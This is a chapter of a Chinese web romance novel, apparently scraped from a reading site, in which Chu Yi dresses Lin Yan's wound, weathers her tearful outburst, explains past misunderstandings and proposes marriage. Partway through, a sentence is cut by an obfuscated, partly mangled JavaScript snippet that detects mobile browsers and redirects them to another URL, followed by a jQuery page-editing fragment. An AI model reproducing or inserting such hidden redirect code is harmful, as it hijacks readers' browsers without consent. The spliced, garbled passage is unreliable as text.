60.从小就是,林妍一落泪,楚奕心里就慌。
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万舞洋洋本书字数:
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这是客房,也是卧房,只有一张大床和一桌一椅。 楚奕揽着林妍想与她坐下,手掌碰到林妍腰间,正按在她被江卫所伤的刀口上,林妍一下没忍住,喊了一声“疼!”。 那道伤口因着急行军中间又崩裂过两次,缝合了几回,才勉强长住结痂,今天她又使出全身力气跳了场舞,隐隐又有要渗血的样子。 楚奕听她喊疼吓了一跳,忙松手看她腰间。林妍又捂又躲哼哼唧唧地不给他看,楚奕拉住她不让林妍乱扭,皱眉拨开红纱,只见一条半尺来长的伤口从腰侧斜斜绵延向脊背,又有撕裂的症兆,林妍本就瘦,伤口甚至深可见骨,狰狞可怖。 “你怎么弄的?”楚奕惊了一下,忙扶她去床上靠着,又从行李里找出来伤药来给她处理,一边问她,“如何伤的这么重?谁伤的?” 林妍啜喏,看他一眼抿嘴不答。心道,你的函锋营,江卫那脸盲的家伙伤的!下手可狠了!若不是我躲得快,人都要被他劈成两截了! 哼,把我两半的尸首扔你面前得了! 林妍在楚奕面前,惯是一身的小性子。 楚奕不知她心里所想,只当小姑娘赌气不想说。没有勉强,只是心疼。他手上力道轻柔,生怕再弄疼了林妍。温热的指尖拂过,林妍想起来小时候她被惜音所逼,烫伤了手指弹琴的那回,楚奕给她抹药的时候,也是这样的轻柔认真。 可是,回不去小时候的时光了。 林妍咬咬嘴唇,坐起来抬头看他,眼睛突然一湿,大滴大滴的眼泪不打招呼地就涌了出来。 楚奕忽然一慌,“妍儿,好端端你哭什么……” 林妍干脆扯了面纱,边哭边不讲理地先声夺人控诉道,“我想哭还不行吗!你管我!一天天你什么都要管我!要不要管你都管我!我要你管了吗!不要你管你还管我!呜呜……呜呜……我不想见你还不行吗!你就放我走不行吗!我沦落到这地步你看着很开心是不是!呜呜……” 楚奕被她哭的慌了神,慌忙辩解,“不是,我不开心。” “不开心你还这样!你还笑!你还非要我承认!你就是诚心看我笑话是不是!好啊,你看够了!很惨,比在软玉楼惨!被人当逃奴追杀!为了被别人多卖几个钱就得装成犬狄人,装聋子做哑巴!很惨!你满意了是不是!呜呜……呜呜……” 林妍哭的抽气,眼泪像不要钱一样,汹涌着流个不停。 楚奕心都要被她哭碎了,一个花容月貌的小姑娘,独自一个人流落在外大半年,又在兵荒马乱的年岁里,不用想也知道她要经历多少磨难。楚奕不敢想,无依无靠的林妍,半年多经历了什么,那豳和府的知府,说他的妍儿,是家妓…… 林妍哭者无心,楚奕听者有意。 “都过去了,妍儿,别怕。”楚奕眸光深深,揽着林妍,轻轻拍着她安慰,“没事了妍儿,你能活着就是最好。” 林妍还在抽抽泣泣地哭,一面哭,一面飞快回嘴,道,“托您的福,没死呢!呜呜呜呜……” 楚奕被她怼的一呛,但只要林妍活着,什么都好。于是哄她说,“妍儿,好了好了,咱们有话慢慢说。别哭了,仔细明儿头疼。从小你就是,哭狠了隔天一定头疼。” “你管我!我想哭!”林妍语气不善,外厉内荏,一股脑朝楚奕宣泄着她的坏脾气,“我委屈,我憋得难受行不行!” 林妍语速飞快,眼泪掉的也飞快。这边拿手一抹,那边的眼泪又花了脸。 楚奕着实看不下去,皱皱眉头,算了,想哭就让她哭个痛快吧。于是拿出帕子给她擦脸,“擦一擦,看哭成什么样了……” 林妍毫不客气地拿手帕一抹,继续瞪他哭着控诉,“我委屈!” “是是是,”楚奕顺着她,轻声哄道,“妍儿这一年在外面受苦了,受委屈了,我知道,都怪我,没有保护好你。” 不知为何,委屈二字从楚奕口中吐出来,林妍突然觉得真的非常非常委屈。血亲的背叛出卖,挚友的生离死别,一路的坎坷曲折,战火考验,人性叩问,生死挣扎,是非反思,观念颠覆,九霄宫的绝望悲愤,战场上的九死一生,还有那多少个惊惧恐慌纠结下彻夜难眠的夜晚……那些被沉埋在心底的伤痕,突然就翻了出来,像再次撕裂的伤口,鲜血淋漓,痛得窒息…… 她原本先声夺人,只是怕楚奕问她伤疤,又怕楚奕追问她这半年的去向。可眼泪是假,难过是真,一时眼泪更收势不住地落了下来,哭的说不出话。 “你怎么越哭越凶了?”楚奕从来没见过林妍哭的这么凶,只当她受了天大的委屈与磨难,满心里全是心疼,抱着她,道,“明日我们就回菀南,回家就好了,不哭了妍儿。” 林妍趴在楚奕怀里痛哭半晌,略平复了气息。她心里又酸又疼,生怕自己憋不住了向楚奕说出不该说的话,脑子转的飞快,强撑着一口气故意和楚奕吵架,掩饰她心底的慌张与愧疚,凶巴巴闹道,“回什么家?哪门子家?回去了再叫你送给那什么糟老头子是吧?你把我当什么?还不如叫我死了算了!我宁愿在这儿给那变态知府剁了!不回!” 楚奕失笑,点她脑袋说,“你这丫头,毛躁的性子怎么还没改?当真不明白吗,哪个说叫你去做妾的?在楼里我还护着你不给人轻薄,出去能叫你去做妾?菀南安抚使夫妻俩膝下没有孩子,只想收养个孤女做女儿。就你不识好歹,小人之心度君子之腹,说的就是你!” 林妍咬咬嘴唇,故作生气道,“你还要把我卖了!把我当个货品一样,那一群,肥头大耳的糟老头子,你……你就是诚心的!” 楚奕大方承认,“对,我就是诚心的,就要给你个教训!妍儿,你有了误会自己胡思乱想,偏不给我说。我在你心里就是那样阴险狠毒不择手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15435914|164902||http|test|mini|href|location.split(|),0,{})); () { $(.inform).remove(); $(#content).append( 段的人?也太叫我心寒了。你背着我,偷偷给自己找退路,找金辉?时不时阳奉阴违?无伤大雅的事情我睁只眼闭只眼不和你计较,可你呢,闹完脾气闹绝食,故意气我么?好了,我向你道歉,是我没有控制好自己冲动了,不该那样对你,不该不尊重你。我错了,妍儿不生气了。你当真了?吓到了?我怎会当真发卖你?不过走个过场,还你自由罢了,你呀,都不给我机会把话说完。” 林妍终于收住了眼泪,一脸委屈地瞪着他,抿着嘴不说话。 楚奕叹气,“你若是真给你自己谋了好出路,我也随了你。可是你看看,你找的是什么路子?金辉那人,纨绔子弟没个担当。这世上有很多种人,有的能共患难而不可共富贵,有的可共富贵不可共患难。金辉就是不能共患难的,他心性良善,真心待你,我信,与你有一点懵懵懂懂的男女好感,我也信。可要金家抛去门第之见接受你、放弃联姻带来的利益接受你,要金辉为你与父母家族对抗,能为你承担起男人的责任,我一万个不信。你姐姐爱你护你我信,你姐姐一心为你谋一条好出路我也信,可要让你姐姐放弃她自己、放弃她的女儿帮你,我不信。我知道他们护不住你,可是你这么拗着我也没辙,道理说给你,你又听不进去,只能遂了你的心意。你南下的这一路,陈景一直带人远远跟着。若能如你过得好自然最好,如果过得不好,就让他无论如何要带你回来。”还有,最让楚奕气闷的就是,他哪里还比不上个纨绔了?真是要被这不识好歹的丫头气死! 可没想到,林妍以为陈景要追杀她灭口,投了湍急的兰江,后来九霄宫苦役暴乱,各地兵荒马乱…… 楚奕又叹了口气,歉声说,“直到后来,知道你当真是宁死不愿回来,我重新想了好多遍,想起来你说过,你梦到我杀了你娘。于是我逼问了柳枝,她才告诉我你娘死于中毒。那个郎中我抓到了,他的确,扮做郎中,却做毒死绝户人家谋财害命之事。我将他已经送进了京兆府牢里,只是后面变故多,没来得及盯着给他定罪问斩,不过京城混乱,他当也活不长了。是我失察,害了你娘。” “我知道,少爷,我都知道了。”林妍咬着唇憋回眼泪,说,“不怪你,是我误会了你。我,我……”她哽咽,“都是我错了……” 楚奕抬手给她擦擦泪痕,“别哭了,妍儿,你这么哭,我心疼。” 从小就是,楚奕见不得林妍落泪。林妍一落泪,楚奕心里就慌。 楚奕越是这样,林妍心里就越难受,忍不住,眼泪又滚了下来,“少爷,我,我们回不去了。” 不过短短一年,却已再也回不到从前。 楚奕知道,这一年小姑娘必定求生艰难,甚至,受了很多欺负。 “不怕,不论发生过什么,你都不必担心,都交给我。”楚奕温柔地问她,“妍儿,等回了菀南,你愿不愿意,和我成婚?”